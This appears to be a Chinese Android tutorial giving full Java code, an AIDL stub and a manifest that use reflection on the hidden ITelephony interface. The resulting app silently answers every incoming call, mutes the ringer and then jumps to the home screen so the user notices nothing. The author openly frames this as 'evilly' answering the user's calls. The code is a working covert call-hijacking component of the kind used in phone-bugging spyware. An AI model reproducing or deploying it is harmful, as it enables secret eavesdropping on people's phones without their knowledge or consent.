Android 电话的反射调用机制实现静默接听电话

推荐安卓开发神器（里面有各种UI特效和android代码库实例）

首先 建一个工程

insertTel

建一个com.Android.internal.telephony的包

把系统的源码里的ITelephony.aidl拷贝进来

如下

ITelephony.aidl

    /**
     * Return true if an ICC card is present
     */
    boolean hasIccCard();
}

然后建一个包

zy.phone

下面做反射调用

PhoneUtils.java

package zy.phone;  
  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import Android.telephony.TelephonyManager;   

import Android.util.Log;  
  
public class PhoneUtils {  
    /** 
     * 从TelephonyManager中实例化ITelephony，并返回 
     */  
    static public com.Android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception {  
        Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony");  
        getITelephonyMethod.setAccessible(true);//私有化函数也能使用  
        return (com.Android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr);  
    }  
      
    static public void printAllInform(Class clsShow) {    
        try {    
            // 取得所有方法    
            Method[] hideMethod = clsShow.getDeclaredMethods();    
            int i = 0;    
            for (; i < hideMethod.length; i++) {    
                Log.e("method name", hideMethod[i].getName());    
            }    
            // 取得所有常量    
            Field[] allFields = clsShow.getFields();    
            for (i = 0; i < allFields.length; i++) {    
                Log.e("Field name", allFields[i].getName());    
            }    
        } catch (SecurityException e) {    
            // throw new RuntimeException(e.getMessage());    
            e.printStackTrace();    
        } catch (IllegalArgumentException e) {    
            // throw new RuntimeException(e.getMessage());    
            e.printStackTrace();    
        } catch (Exception e) {    
            // TODO Auto-generated catch block    
            e.printStackTrace();    
        }    
    }    
}

 然后用一个BroadcastReceiver监听电话

邪恶地用接电话接用户电话

tp.java

package zy.phone;
import java.util.Timer;
import java.util.TimerTask;
import Android.app.Service;
import Android.content.BroadcastReceiver; 

import Android.content.Context;
import Android.content.Intent;
import Android.os.RemoteException;
import Android.telephony.TelephonyManager;
import Android.util.Log;
public class tp extends BroadcastReceiver {
 Context mcontext;
 TimerTask task = new TimerTask() {
  public void run() {
   Intent i = new Intent(Intent.ACTION_MAIN);
   i.addCategory(Intent.CATEGORY_HOME);
   i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
   mcontext.startActivity(i);
   Log.i("bbb", "bbb");
  }
 };
 @Override
 public void onReceive(Context context, Intent intent) {
  // TODO Auto-generated method stub
  mcontext = context;
  TelephonyManager tm = (TelephonyManager) context
    .getSystemService(Service.TELEPHONY_SERVICE);
  switch (tm.getCallState()) {
  case TelephonyManager.CALL_STATE_RINGING:// 来电响铃
   try {
   // String phoneNumber = intent.getStringExtra("incoming_number");
    
     PhoneUtils.getITelephony(tm).silenceRinger();// 静铃
     PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听
     Timer timer = new Timer();
     timer.schedule(task, 300);
    
   } catch (RemoteException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   } catch (Exception e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }// 挂断
   break;// 响铃
  case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出
   break;// 摘机
  case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断
   break;// 挂机
  }
 }
}

这样就对所有电话都接了

然后主包就是一个什么都没有的测试Activity

包zy.test

test.java

package zy.test;
import Android.app.Activity;
import Android.os.Bundle;
public class test extends Activity { 

    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
    }
}

最后记得再AndroidManifest.xml里加上BroadcastReceiver和权限声明

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:Android="http://schemas.android.com/apk/res/android"
      package="zy.test"
      Android:versionCode="1"
      Android:versionName="1.0">
    <application Android:icon="@drawable/icon" android:label="@string/app_name">
        <activity Android:name=".test"
                  Android:label="@string/app_name">
            <intent-filter>
                <action Android:name="android.intent.action.MAIN" />
                <category Android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
  <receiver Android:name="zy.phone.tp"  android:priority="10000" android:permission="android.permission.READ_PHONE_STATE">
   <intent-filter>
    <action Android:name="android.intent.action.PHONE_STATE" />
   </intent-filter>
  </receiver>
  
 </application>
  <uses-sdk Android:minSdkVersion="3" />
 
 <uses-permission Android:name="android.permission.INTERNET"/>
 <uses-permission Android:name="android.permission.MODIFY_PHONE_STATE" />  
    
</manifest>

OK 大功告成

试试现在电话都将被接听，没有反应
